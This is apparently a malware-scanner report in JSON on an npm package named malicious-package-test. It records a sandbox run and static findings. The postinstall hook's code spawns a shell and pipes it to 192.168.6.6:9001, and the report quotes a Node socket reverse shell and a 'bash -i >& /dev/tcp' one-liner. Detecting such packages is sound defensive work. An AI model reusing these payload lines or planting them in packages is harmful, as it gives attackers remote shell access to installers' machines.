{"package":"malicious-package-test","version":"1.0.3","known":true,"status":"error","discovered_at":1790299911601,"has_install_script":true,"report_url":"https://andymal.com/packages/malicious-package-test/1.0.3","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790373491598,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2201,"lab_ip":"10.77.0.155","hooks":[{"name":"postinstall","command":"node postinstall.js","exit":1,"timed_out":false,"seconds":1,"stdout_tail":"\n> malicious-package-test@1.0.3 postinstall\n> node postinstall.js\n\n","stderr_tail":"node:events:497\n      throw er; // Unhandled 'error' event\n      ^\n\nError: connect ENETUNREACH 192.168.6.6:9001 - Local (0.0.0.0:0)\n    at internalConnect (node:net:1111:16)\n    at defaultTriggerAsyncIdScope (node:internal/async_hooks:472:18)\n    at node:net:1357:9\n    at process.processTicksAndRejections (node:internal/process/task_queues:84:11)\nEmitted 'error' event on Socket instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  errno: -101,\n  code: 'ENETUNREACH',\n  syscall: 'connect',\n  address: '192.168.6.6',\n  port: 9001\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":"require failed: Cannot find module '/work/pkg/index.js'. Please verify that the package.json has a valid \"main\" entry\n"}],"process_count":7,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","/bin/sh","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"192.168.6.6","port":9001,"n":1}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"malicious-package-test","version":"1.0.3","description":"","scripts":{"postinstall":"node postinstall.js"},"install_hooks":{"postinstall":"node postinstall.js"},"bin":{},"main":"index.js","dependencies":[],"author":"","license":"ISC","hasInstallScript":true},"files":[{"path":"postinstall.js","size":797,"kind":"text","score":0.8684000000000002,"hits":["code_execution","reverse_shell"],"role":"entry"},{"path":"package.json","size":220,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":2,"unpacked_size":1017,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"\"description\": \"\", \"main\": \"index.js\", \"scripts\": { \"postinstall\": \"node postinstall.js\" }, \"keywords\": [], \"author\": \"\", \"license\": \"ISC\" }","severity":"medium","location":"package.json:7"},{"title":"Executes commands or dynamic code","detail":"(function(){ var net = require(\"net\"), cp = require(\"child_process\"), sh = cp.spawn(\"/bin/sh\", []); var client = new net.Socke","severity":"medium","location":"postinstall.js:1"},{"title":"Executes commands or dynamic code","detail":"et = require(\"net\"), cp = require(\"child_process\"), sh = cp.spawn(\"/bin/sh\", []); var client = new net.Socket(); client.connec","severity":"medium","location":"postinstall.js:1"},{"title":"Executes commands or dynamic code","detail":"rn /a/;})(); /* // postinstall.js const { exec } = require('child_process'); console.log('Running post-installation script...'); //","severity":"medium","location":"postinstall.js:4"},{"title":"Reverse shell","detail":"et(); client.connect(9001, \"192.168.6.6\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); retur","severity":"critical","location":"postinstall.js:1"},{"title":"Reverse shell","detail":"); // The command we want to run const command = \"bash -c 'bash -i >& /dev/tcp/192.168.6.6/9001 0>&1'\"; exec(command, (error, st","severity":"critical","location":"postinstall.js:9"},{"title":"Reverse shell","detail":"command we want to run const command = \"bash -c 'bash -i >& /dev/tcp/192.168.6.6/9001 0>&1'\"; exec(command, (error, stdout, stde","severity":"critical","location":"postinstall.js:9"}],"injection_findings":[],"hits":{"install_hook_shell":1,"code_execution":3,"reverse_shell":3},"iocs":{"urls":[],"domains":[],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js","capability hits: code_execution×3, reverse_shell×3, install_hook_shell×1"],"entry_files":["postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}